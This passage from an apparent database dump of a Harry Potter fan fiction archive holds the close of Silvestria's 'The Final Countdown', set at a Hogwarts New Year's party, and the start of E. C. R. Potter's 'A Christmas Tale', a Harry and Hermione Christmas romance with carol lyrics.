position.\n</p><p>\nDraco arrived promptly at nine o\'clock.  When he saw it was Ginny, he restrained himself from kissing her on the spot and merely nodded to her.\n</p><p>\nShe, however, was unable to unable to control herself.\n</p><p>\n"Do you love me, Draco?" she cried.\n</p><p>\nHe stared at her, "Of course I don\'t.  You\'re a Gryffindor."\n</p><p>\nHer large brown eyes filled with hurt and she looked confused, "But I thought you did..."\n</p><p>\n"I don\'t know why you\'d think that, Weasley."\n</p><p>\n"But... but... the letter you sent me!?"\n</p><p>\n"I didn\'t send you any letter!  You sent me one!"\n</p><p>\n"Damn!" breathed Sirius in the cupboard, chewing his nails.\n</p><p>\nDraco frowned then his face cleared, "It looks like we\'ve been set up."\n</p><p>\nGinny\'s face fell, "Oh well.  I should have known better than to trust my heart\'s desires so much."  She began to move away.\n</p><p>\n"Same here," sighed Draco morosely.  Ginny turned back, to see if she had heard him correctly.  Her eyes danced, "Do you love me then, Draco?"\n</p><p>\nThe way she said his name was enough to make his heart turn over.  Of course he loved her!  He nodded sharply and crossed the hallway, grabbed her arms and kissed her hungrily.\n</p><p>\n"Gimme five, Remus!" hissed Sirius in the cupboard.\n</p><p>\nJust at that moment Snape came walking down the corridor.  It seemed he was doing up his top button.  Had Snape made a conquest as well?  His eyes widened as he saw Draco and Ginny (though they were <i>definitely</i> oblivious to his presence.)  He was just about to open his mouth to take points off Gryffindor for blocking the corridor, when it occured to him that Draco was also in the way.  "Twenty points from Slytherin!" he snapped.  \n</p><p>\nThe lovers jumped apart from each other in astonishment.  Their faces were as red as the Gryffindor flag.  Snape\'s mouth seemed to curve upwards, much to their surprise.  "And get a room, will you?" He walked off.\n</p><p>\nThe cupboard was shaking slightly.\n</p><p>\n"Well, that was bizarre, wasn\'t it?" Ginny said.\n</p><p>\n"Definitely.  But you know, Ginny, he\'s got a point.  Astronomy Tower?"\n</p><p>\nShe shook her head.  "No.  There\'s Colin\'s stupid dinner party going on there."\n</p><p>\nDraco\'s eyes lit up mischieviously, "Now that I\'m Head Boy, I have my own room... How about it?"\n</p><p>\nShe giggled and grabbed his hand.  They ran laughing in the direction of the Slytherin dormitories.\n</p><p>\nRemus and Sirius emerged from the cupboard and burst out laughing.  When they had finished Remus looked at his watch, "Quarter past nine.  Shall we head to look at our other favourite couple in the Astronomy Tower?"\n</p><p>\n"You\'re on.  Golly, it does bring back memories, the Astronomy Tower..."\n</p><p>\n'),
	(75, 4, '<p><i>Disclaimer:  JK Rowling owns Harry Potter etc. copyright.  I am earning no money whatsoever on this... </i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>The Final Countdown</b></div><p></p><p>\nby Silvestria\n</p><p><b><span class="u"></span></b></p><div class="center"><b>\nThe Evaluation</b></div>\n<p></p><p>\nHermione sighed and climbed the last step up to the large oak door of the Astronomy Tower.  She wore a pretty, scarlet red dress that she had got for her eighteenth birthday earlier the year.  She had never worn it before, but Lavender had said it looked lovely.  She had straightened her hair again and was wearing new shoes.  Of course, she had not put so much effort into her clothes for the dinner with Harry.  Of course not!  She would never think of doing such a thing!  She had dressed nicely for Dumbledore\'s surprise party at midnight.\n</p><p>\nShe pushed open the door and was immediately surrouned by the sounds of soaring violins playing a Strauss waltz.  The Astronomy Tower had never looked better, or more romantic.  Candles floated through the air and there was slight smell of incense.  Dennis Creevey, dressed as a muggle waiter, led her to the table in the middle of the room where Harry was sitting.  He was looking at the floor, in a depressed way.\n</p><p>\nTo Harry the whole dinner date was very annoying, especially after the Ron incident in the morning.  Ron had pretended he had not minded and had even encouraged them to go, but he had looked livid as he said it.\n</p><p>\nHarry looked up when she entered the room.  His voice that was going to say, "Oh hello, Hermione, isn\'t this dreadful?" very glumly, stuck in his throat.  \n</p><p>\nInstead, what came out in a strangled gasp was, "What a lovely dress!  How beautiful you look!"\n</p><p>\nHermione blushed and sat down.  Harry\'s emerald green eyes were mesmerizing her and she felt unable to speak.  In fact, Harry\'s eyes mesmerized her all the time now.  She felt so much in love with him.  And now he said she looked beautiful!  Hermione had never felt so happy, not even when she had got her first piece of homework back.\n</p><p>\nShe drank a wine glass of water and coughed delicately.  "How are you, Harry?  Do you feel better now?  It\'s just a dinner, after all.  Soon over and we can go and join Ron."  It hurt her to say the words, but she was aware that Harry probably did not feel the same way about her.\n</p><p>\nHarry shrugged and looked even more down in the mouth than before, if that was possible.  At that moment Colin entered bringing in two plates of tomato and mozzarella salades.  He deposited them on the table with a flourish and retired into another room, bowing all the way. \n</p><p>\n"Damn sproglet!" muttered Harry as he picked up his fork.\n</p><p>\n"He\'s not a first year anymore, Harry," Hermione chastised him. "He\'s in sixth year.  Sproglets are first years."\n</p><p>\n"Well, he feels like a first year!" Harry moodily replied.  "I say Hermione, did I tell you about the first years that made me late for Potions on Thursday?"\n</p><p>\n"No.  I was wondering why you were so late."\n</p><p>\nHarry launched into a long story which so entertained Hermione that all awkwardness had soon disappeared.\n</p><p>\nBy the time Winky had brought the zabaglione in fluted champagne glasses in on a tea tray, Hermione was feeling full and comfortable.  She was feeling very happy that she was spending such a lovely evening with Harry.  \n</p><p>\nAt last the dinner was over and Harry and Hermione went to sit down on the settee in the other room of the Tower.  They sat down and did not speak for some time.  The sofa was very narrow indeed and by necessity they were sitting very close to each other.  All Hermione\'s shyness returned.\n</p><p>\nEventually Harry remarked, "You said earlier you wanted to go back to Ron after dinner.  We don\'t have to stay here if you don\'t want to.  Shall we back to the common room?"\n</p><p>\nHermione replied cautiously, "I wouldn\'t mind staying here a little longer, if that\'s all right with you."\n</p><p>\nHarry laughed and blushed, "That\'s fine by me, but you better move closer. You\'re practically  falling off the chair!"\n</p><p>\nHermione tried to slow the beating of her heart and slided a few inches nearer to Harry.  Their bodies were very close together and there was not enough space for their arms.  So, obviously, Harry put his arm round Hermione\'s shoulders.  She tried to relax, but was finding it difficult.  So she sat there, rigid as a poker, staring straight in front of her.  \n</p><p>\nHarry said, in an effort to make conversation, "So, who do you think entered us for this dinner draw?"\n</p><p>\n"Um," replied Hermione, turning to face him, and abruptly stopped.  She had never been so close to anyone except her mother before, and certainly not a good looking young man!  \n</p><p>\nContrary to general opinion, Hermione had never been going out with Viktor Krum.  She had initially fancied him a little, but when it became clear that, though Viktor liked her a great deal, he was not interested in her romantically and thought her much too young for him, her enthusiasm for him had waned.  Nevertheless, everyone else had thought they were going out.  Hermione had not even tried to crush the rumours.  She was a little ashamed of being eighteen years old and never been kissed.\n</p><p>\nHarry\'s emerald green eyes seemed unusually bright and Hermione found herself unuable to tear herself away.  Suddenly she felt Harry\'s hand on her cheek.  A spark of electricity shot through her, and her eyes widened.\n</p><p>\n"Harry," she started, finding it a great effort to speak, "I don\'t know who entered our names."  <i>Must keep talking</i>, she repeated to herself again and again.\n</p><p>\nHe did not move his hand.  "Nor do I," he whispered, "and I don\'t care."\n</p><p>\nHe slowly moved forward and gently pressed his lips to hers.  Hermione let out a gasp of surprise, but did not pull back.  After a few seconds he drew back and they stared at each other.  Hermione could not think of anything to say and neither, apparantly could Harry.  She did not know what to do; she had just been kissed by the boy she loved, and felt that if she spoke she would spoil the mood.\n</p><p>\nAt last, Harry spoke.  His voice was quite hoarse and seemed deeper than usual.  Hermione shivered.  "I\'m sorry, Hermione," he said.  \n</p><p>\n"Uh, no!" replied Hermione immediately, afraid that he might get the wrong impression.  "Why be sorry?  I didn\'t know what to say.  That\'s all!  I liked it!"  She stopped gabbling.  <i>She had just said that she enjoyed kissing her best friend!</i>  She blushed.\n</p><p>\n"You <i>liked</i> it?" asked Harry, sounding as if he had just been told that Santa Claus really did exist.\n</p><p>\nShe nodded shyly.\n</p><p>\nHarry let out something like a while whoop and, throwing his arms round Hermione, kissed her again.\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nIn the Great Hall, it was nearly midnight and the atmosphere was electric.  The whole school had congregated there to wait for Dumbledore\'s New Year\'s surprise.  The student tables were packed full and every single member of staff was present.\n</p><p>\nRon was squashed between Neville and Parvati.  "Where\'re Harry and Hermione?" asked the former, suddenly.\n</p><p>\nRon shrugged, "They won the Creevey brother\'s dinner draw.  I don\'t know where they are now."\n</p><p>\nNeville looked incredulous.  "But, when did the dinner start?"\n</p><p>\n"Half seven."\n</p><p>\n"But it\'s nearly midnight, Ron!  I mean, how long does it take <i>you</i> to eat supper?"\n</p><p>\n"They might have loads of different courses," suggested Ron miserably.\n</p><p>\n"Look how close Professor Snape and Professor McGonagall are sitting!" hissed Parvati in Ron\'s ear.  "What do you make of that?"\n</p><p>\nRon did not know what to make of it.  He found the idea of Snape and McGonagall being \'close\' in any way, rather disgusting.\n</p><p>\nAt that very moment, the doors to the Great Hall opened and Professor Dumbledore appeared.  He strode up the front of the teacher\'s table and bowed.  Ron cast a confused glance at Neville.  What was going on?\n</p><p>\nDumbledore clapped his hands for silence.  He beamed round the expectant hall.  "Welcome to he first Final Countdown to New Year\'s Day!  At midnight, we will hear twelve chimes of bells and on the twelfth strike, there will be a surprise!"  \n</p><p>\nThere was a little rustle of whispers.  Dumbledore continued, "In between the chimes, you can make your New Year\'s resolutions, or stand up and make a public announcement."\n</p><p>\nDumbledore waved his wand, and a massive, golden clock appeared, suspended above the teacher\'s table.  It was ticking very loudly and the second hand was inching towards twelve o\'clock.\n</p><p>\nBONG!\n</p><p>\nImmediately everyone called, of one accord, "ONE!"\n</p><p>\nRon closed his eyes and thought of a resolution.  Someone from the Hufflepuff table stood up, and amidst much giggling, announced that they had decided to become a teetotaler.\n</p><p>\nBONG!\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nWhen Harry heard the first bong reverberate round the Astronomy Tower, he thought he was imagining things.  When he heard the second he almost fell off Hermione in surprise.  He quickly zipped up his jeans and cried, "What is it?  Is the school falling to pieces?"\n</p><p>\nHermione quickly sat up and looked at her watch, "No, it\'s midnight."  She attempted to rearrange her hair, her heart beating ridiculously fast.\n</p><p>\nHarry\'s face was a picture.  "But there\'s the celebration in the Great Hall!  Come on, Hermione, we can\'t miss it!"\n</p><p>\nBONG!\n</p><p>\nThey stared at each other in consternation, then Harry grabbed her hand and they fled down the stairs.\n</p><p></p><div class="center">~~*~~</div><p></p><p>\n<i>I will not hanker after Hermione</i> resolved Ron for the third time.  He thought that perhaps if he made the same resolution twelve times over then he might have more chance of actually doing it.\n</p><p>\nBONG!\n</p><p>\n"FOUR!" yelled the school, in glee.\n</p><p>\n<i>I will not hanker after Hermione... anyway, where are they?</i> thought Ron.  \n</p><p>\nDraco caught Ginny\'s eye over the heads of their respective housemates.  She blushed and lowered her eyes, after giving a little nod.\n</p><p></p><div class="center">~~*~</div><p></p><p>\nBONG!\n</p><p>\nHarry and Hermione clung onto each other as the staircase abruptly changed.  "We\'ll never make it, Harry!" cried Hermione, in anguish.  "That\'s the fifth bell."\n</p><p>\nThey ran hastily down the next corridor.\n</p><p></p><div class="center">~~*~</div><p></p><p>\nBONG!\n</p><p>\nThe Great Hall screamed in unison, "SIX!"\n</p><p>\nHagrid squeezed his eyes shut and promised never to let Buckbeak out of his sight again.  He also made a few resolutions about Madame Maxime, but that is another story... \n</p><p></p><div class="center">~~*~</div><p></p><p>\nBONG!\n</p><p>\nDraco Malfoy lazily stood up and slowely announced to the school, "This evening, Ginny Weasley and I had hot sex in the Head Boy\'s room.  I thought you should know that."  Then he sat down.\n</p><p>\nGinny had gone scarlet.  She covered her face with her hands and tried to hide under the table.  The Hufflepuffs and Ravenclaws started cat-calling.  The Slytherins and Gryffindors were, however, too shocked to speak.\n</p><p><i>I really, really didn\'t want to know that</i>, thought Ron making a face.  <i>Now where was I?  I must not hanker after Hermione.  I will not hanker after Hermione...</i>\n</p><p></p><div class="center">~~*~</div><p></p><p>\nBONG!\n</p><p>\n"EIGHT!" called everyone.\n</p><p>\nSirius smiled over the teacher\'s table at Remus, who grinned back.  He was home at last.  Girls, money, nothing mattered in comparison to having the love of good friends.\n</p><p></p><div class="center">~~*~</div><p></p><p>\nBONG!\n</p><p>\nHarry and Hermione paused, out of breath in front of the doors to the Great Hall.  "We made it!" cried Hermione, exstatically throwing her arms round Harry\'s neck.  He kissed her then released her.  Gradually they pushed the door open. \n</p><p>\nEveryone was looking at Snape, who had just risen and said, "Thirty points-" everyone held their breath, "to Gryffindor!"  He sat down and everyboduy cheered loudly.  Dumbledore fixed his twinkling, blue eyes on Snape\'s face and then passed them onto Minerva\'s.  He smiled to himself.\n</p><p>\n"Now I understand," breathed Harry.  "You make an announcement after each chime."\n</p><p>\nBONG!\n</p><p>\n"TEN!" was the cry.\n</p><p>\nHarry grabbed Hermione\'s hand and stared at her.  He was incredibly nervous and spoke in a great rush.\n</p><p>\n"Hermione, you know I love you and have done for ages, so, er, willyoumarryme?"\n</p><p>\n"What?" She blushed though, as if she had actually heard.\n</p><p>\n"Hermione, I don\'t have a ring, I\'m not on my knees but, will you marry me anyway?"\n</p><p>\nAs her mouth opened to answer, a reverberating sound was heard throughout the castle.\n</p><p>\nBONG!\n</p><p>\n"ELEVEN!" chanted the pupils of Hogwarts.\n</p><p>\nHarry grabbed her hand and pushed the Great Hall door fully open.  It creaked and all faces turned towards them.  \n</p><p>\nHarry did not need to shout to be heard.  He said, "Hermione and I have an announcement.  We are in love!"  He did not know quite what to say after that. \n</p><p>\nHermione squeezed his hand and said clearly, "And we are also engaged to be married!"  She smiled her wonderful, quiet smile at him.  Harry did not care what people thought but hugged her till she was almost squeezed to death and kissed her passionately.  They were under that same spring of mistletoe that Minerva had tricked Severus under earlier.\n</p><p>\nThe cheers were deafening.  People were stamping their feet and climbing on the tables to see better.  In the midst of the confusion Ginny had crawled under the Gryffindor and Ravenclaw tables and emerged right next to Draco who kissed her as well.\n</p><p>\nBONG!\n</p><p>\nEveryone except the two pairs of lovers raised their goblets of one accord and yelled, "TWELVE!"\n</p><p>\nThen Dumbledore rose and placing his hands on the table, leaned forward and spoke, quietly but distinctly, "Happy New Year to all!"\n</p><p>\nThis seemed to be the words for a spell, but immediately there was a blinding flash of light and everyone gasped and stared at the ceiling.  The enchanted sky was swirling colours of the rainbow.  Across it flashed the most brilliant fireworks of every shape and size that had ever been seen in the history of magic.\n</p><p>\nHarry wrapped his arms round Hermione as they stared up at the magnificent display.  He had hardly ever felt so happy in his life.  \n</p><p>\nOne particularly beautiful firework caught Harry\'s attention.  it was a massive, brilliant silver stag that seemed to dive out of the sky right at him.  He reached up a hand to it and a single tear trickled down Harry\'s cheek.  "Oh, Dad," he whispered, "if you could see me now!"  And yet, as he tightened his arms round his fiancée, he felt stronger.  His father did know, somewhere, somehow.\n</p><p>\nSirius and Remus also saw and were overcome as well.  "Prongs rides again on New Year\'s Eve," said Remus in a hushed tone.\n</p><p>\n"New Year\'s <i>Day</i>," corrected Sirius.  \n</p><p>\nRon saw it and peace entered his heart.  Perhaps saying the words twelve times over had done the trick, or some other magic had been present at Dumbledore\'s fire work display, but Ron no longer hankered over Hermione.  He felt more serene than he had done for years.\n</p><p>\nThe display lasted over half an hour and at the end of it all were clensed in some way.\n</p><p>\nAgain Dumbledore rose and spoke, "Let this year be more peaceful than the one we have just concluded.  This is the time for new beginnings and let toast two wonderful people, who are just starting out in life together.  To Harry Potter and Hermione Granger!"\n</p><p>\nEveryone raised their goblets and gravely repeated, "To Harry Potter and Hermione Granger!"  Then they drank. \n</p><p>\nDumbledore coughed for attention.  "I have only one more thing to say to you all."  He paused then, with a beaming smile cried, "HAPPY NEW YEAR!"\n</p><p><span class="u"></span></p><div class="center"><b>THE END</b></div>\n<p></p><p><i>\nWell, that\'s it!  Hope you\'ve all enjoyed it!  Don\'t forget to leave a review!\n</i></p><p>\n~Silvestria~'),
	(76, 1, '\n\n\n\n\n\n\n\nTitle: A Christmas Tale\n\n<p class="MsoNormal"><b>Author Name:</b> E. C. R. Potter</p>\n\n<p class="MsoNormal"><b>Author email:</b> ecrpotter@hotmail.com</p>\n\n<p class="MsoNormal"><b>Category:</b> Romance</p>\n\n<p class="MsoNormal"><b>Keywords:</b> Harry, Hermione, Christmas, 7th year,\nH/H</p>\n\n<p class="MsoNormal"><b>Rating:</b> G</p>\n\n<p class="MsoNormal"><b>Spoilers:</b> All the Books</p>\n\n<p class="MsoNormal"><b>Summary:</b>&nbsp; A Christmas\nspecial from yours truly.&nbsp; When Harry is\ndepressed during Christmas, Hermione has a word of comfort for him.&nbsp; H/H.</p>\n\n<p class="MsoNormal"><b>Disclaimer:</b> This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Note: </b>A special Christmas present to all my\nfellow H/H shippers.&nbsp; Be warned, this\nshort ficlet contains allusions to stuff that I truly believe in, stuff that is\npotentially dangerous.&nbsp; You have been\nwarned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was Christmas time at Hogwarts, the evening of the 25th\nof December.&nbsp; 7th year Harry\nPotter was in the Gryffindor Common Room sitting on a sofa starring at the\nflames in the fireplace.&nbsp; This was the\nlast Christmas he would spend at Hogwarts and he couldn&#8217;t help but feel a\nlittle melancholy at the thought.&nbsp;\nFurthermore, the dreaded Dark Wizard Voldemort was still at large and\nthe pressure had been applied to the Boy Who Lived.&nbsp; Somehow, he knew that <b>this</b> would be it: the next time he\nand Voldemort faced off, it would be for the last time and only one of them\nwould return alive.&nbsp; The thought that\nthis could very well be the last Christmas of his life was enough to make\nanyone depressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Happy Christmas, Harry,&#8221; said a familiar voice from behind\nhim.&nbsp; Harry looked up onto the cheerful\nface of his best friend Hermione Granger.&nbsp;\nThe smile on Hermione&#8217;s face instantly disappeared however when she\nnoticed Harry&#8217;s depressed mood.&nbsp; &#8220;What&#8217;s\nwrong?&#8221; she asked, sitting down right next to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just thinking,&#8221; said Harry.&nbsp; &#8220;That this could very well be the last Christmas I ever\nspend.&#8221;&nbsp; He sighed sadly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; said Hermione.&nbsp;\nShe held his hands in her own and looked Harry straight into the\neye.&nbsp; &#8220;You&#8217;re not going to die\nHarry.&nbsp; Soon you&#8217;ll be facing\nYou-Know...Voldemort for the last time and you&#8217;re going to return\ntriumphant.&nbsp; You&#8217;re life isn&#8217;t going to\nend there, it&#8217;s going to begin <b>when</b> Voldemort becomes nothing more than\na memory.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked away from Hermione&#8217;s intense gaze.&nbsp; &#8220;I sure wish I have enough confidence in\nmyself the way you seem to have confidence in me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione took a hold of Harry&#8217;s face and made him look into\nher eyes once again.&nbsp; &#8220;I don&#8217;t just have\nconfidence in you,&#8221; she said.&nbsp; &#8220;I have\nfaith in you.&nbsp; I have hopes for you.&nbsp; I truly believe that you will live because\nthat&#8217;s what I&#8217;m placing my faith in.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed sadly.&nbsp;\n&#8220;If only having faith were easy...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i>&#8216;Do not be afraid.&nbsp;\nI bring you good news of great joy that will be for all the people.&nbsp; Today in the town of David a Savior has been\nborn to you; he is Christ the Lord.&#8217;</i>&#8221;[1]</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know the true story about Christmas right?&#8221; asked\nHermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, of course.&nbsp;\nBut why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Isn&#8217;t today what it&#8217;s all about?&#8221; said Hermione.&nbsp; &#8220;Christmas, the time when utmost faith and\nhope was presented into a world consumed with evil and despair, a ray of light\nin the darkness, the greatest gift of love to the world.&nbsp; That&#8217;s what Christmas is all about: hope in\nhopelessness.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry said nothing but the spark in his green eyes told\nHermione that she had caught his attention.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If there is something you can draw faith from Harry, draw\nyour faith from what this holiday means.&nbsp;\nEvil isn&#8217;t the only force at work in this world, Harry.&nbsp; Good is always striving to undo whatever\nevil does, and it is from that hope Harry, that I can have complete faith in\nyou.&nbsp; I just hope that you can draw your\nfaith from it as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For a minute, there was complete silence in the room as\nHarry and Hermione simply starred at each other, green eyes into brown\neyes.&nbsp; The silence was soon broken by\nthe sounds of singing coming from the Great Hall:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>O come, o come, Emmanuel<br>\nAnd ransom captive Israel<br>\nThat mourns in lonely exile here<br>\nUntil the Son of God appear.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Rejoice! Rejoice! Emmanuel<br>\n&nbsp;Shall come to thee o Israel</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText">Finally, Harry smiled and cupped Hermione&#8217;s cheek with his\nhand.&nbsp; &#8220;I do have faith Hermione.&nbsp; I have complete faith in you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>O come, Thou Rod of Jesse, free<br>\nThine own from Satan\'s tyranny<br>\nFrom depths of Hell thy people save<br>\nAnd give them vict\'ry o\'er the grave.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Rejoice! Rejoice! Emmanuel<br>\nShall come to thee o Israel.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed a little and smiled at Harry.&nbsp; Gently, she laid her head on Harry&#8217;s\nshoulder as Harry wrapped one of his arms around her.&nbsp; For quite some time, they simply sat there, glancing at the fire\nand the lights on the Christmas Tree.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>O come,<br>\nO Day-spring come and cheer<br>\nOur spirits by Thine advent here<br>\nAnd drive away the shades of night<br>\nAnd pierce the clouds and bring us light.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Rejoice! Rejoice! Emmanuel<br>\nShall come to thee o Israel.[2]</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText">After some time, a small cough came from behind the\ntwo.&nbsp; Harry and Hermione merely glanced\nback a little and catch a glance of Ron Weasley clearly returning from a\nsnowball fight outdoors.&nbsp; &#8220;Hey, Ron,&#8221;\nsaid Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi,&#8221; said Ron as Harry and Hermione went back to snuggling\nup against each other.&nbsp; Ron glanced up\nat the ceiling and said, &#8220;You two have any idea what you&#8217;re both sitting\nunder?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sitting under?&#8221; asked Hermione.&nbsp; She looked up at the ceiling and realized that she and Harry were\nsnuggled underneath Mistletoe.&nbsp; &#8220;Oh!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh!&#8221; Harry also exclaimed.&nbsp;\nRon was now smirking at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, you&#8217;re not going to break with tradition are you?&#8221; he\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gulped and Hermione blushed as bright as a\ntomato.&nbsp; Harry glanced at Hermione and\nsaid, &#8220;Well, we can&#8217;t...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;...back out on tradition,&#8221; finished Hermione.&nbsp; Harry gulped and nodded.&nbsp; By this time, both of them were blushing\nfuriously though they couldn&#8217;t keep their gazes off of each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slowly, Harry and Hermione leaned forward until their lips\nbrushed.&nbsp; The electric spark between\nthem caused them to jump back a little, both pairs of eyes wide with shock and\nexcitement.&nbsp; Tentatively, Harry and\nHermione leaned forward once again until their lips finally met in a sweet\nblissful kiss.&nbsp; This kiss was everything\none could possibly hope for and dream about when thinking about your soul mate\nand it was also so much more.&nbsp; The\ngentle feeling of trust, hope, and love that passed between the two was\noverwhelming, but that only caused Harry to deepen the kiss and Hermione\ncertainly wasn&#8217;t about to complain.&nbsp;\nFinally, they pulled away, both quite breathless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For a moment the two didn&#8217;t say anything as green and brown\neyes studied each other.&nbsp; Finally, Harry\nopened his mouth and said, &#8220;That was...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;amazing,&#8221; finished Hermione.&nbsp; By now, they were both smiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well it&#8217;s about time you two realized what&#8217;s been going\non,&#8221; said Ron with a roll of his eyes.&nbsp;\nHe went up the stairs to his dormitory obviously intending to change out\nof his wet clothes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione snuggled up in front of the fire once\nagain when a different song drifted up from the Great Hall:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText2">Just hear those sleigh bells jingle-ing <br>\nRing ting tingle-ing too <br>\nCome on, it\'s lovely weather <br>\nFor a sleigh ride together with you</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2">Outside the snow is falling <br>\nAnd friends are calling &quot;You Hoo&quot; <br>\nCome on, it\'s lovely weather <br>\nFor a sleigh ride together with you</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned and pulled Harry to his feet.&nbsp; &#8220;Come on, lets dance,&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wha...&#8221; before Harry could protest Hermione was starting to\nswing him around the common room.&nbsp;\nBefore he had even realized it, he was swinging her around as well,\nclearly having fun.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText2">Giddy-yap giddy-yap giddy-yap let\'s go <br>\nLet\'s look at the snow <br>\nWe\'re riding\nin a wonderland of snow <br>\nGiddy-yap giddy-yap giddy-yap it\'s grand <br>\nJust holding your hand <br>\nWe\'re gliding along with the song <br>\nOf a wintry fairy land</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2">Our cheeks are nice and rosy <br>\nAnd comfy cozy are we <br>\nWe\'re snuggled up together like two <br>\nBirds of a feather would be <br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Let\'s take the road before us <br>\nAnd sing a Chorus or two <br>\nCome on, it\'s lovely weather <br>\nFor a sleigh ride together with you</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&#8220;Maybe we really should go out for a sleigh ride after\nthis,&#8221; said Hermione while she and Harry still danced around the room.&nbsp; &#8220;What do you think Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m in, if it&#8217;s just the two of us,&#8221; said Harry.&nbsp; Hermione giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText2">There\'s a birthday party at the home of Farmer Gray <br>\nIt\'ll be the perfect ending of a perfect day <br>\nWe\'ll be singing the songs we love to sing without a single stop <br>\nAt the fireplace while we watch the chestnuts pop <br>\nPop! Pop! Pop! <br>\n<br>\nThere\'s a happy feeling nothing in the world can buy <br>\nWhen they pass around the coffee and the pumpkin pie <br>\nIt\'ll nearly be like a picture print by Currier and Ives <br>\nThese wonderful things are the things <br>\nWe remember all through our lives</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2">Just hear those sleigh bells jingle-ing <br>\nRing ting tingle-ing too <br>\nCome on, it\'s lovely weather <br>\nFor a sleigh ride together with you[3]</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">Finally, as the song came to an end, Harry pulled Hermione\ninto another breathtaking kiss, leaving Hermione dazed.&nbsp; He wrapped his arms around her and whispered\ninto her ear, &#8220;Thank you for having faith in me Hermione.&nbsp; I love you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too,&#8221; Hermione whispered back.&nbsp; &#8220;Happy Christmas, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\nThe End\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Notes:</b> Well?&nbsp; Did you like it?&nbsp; I sure\nhope so because I&#8217;m not quite 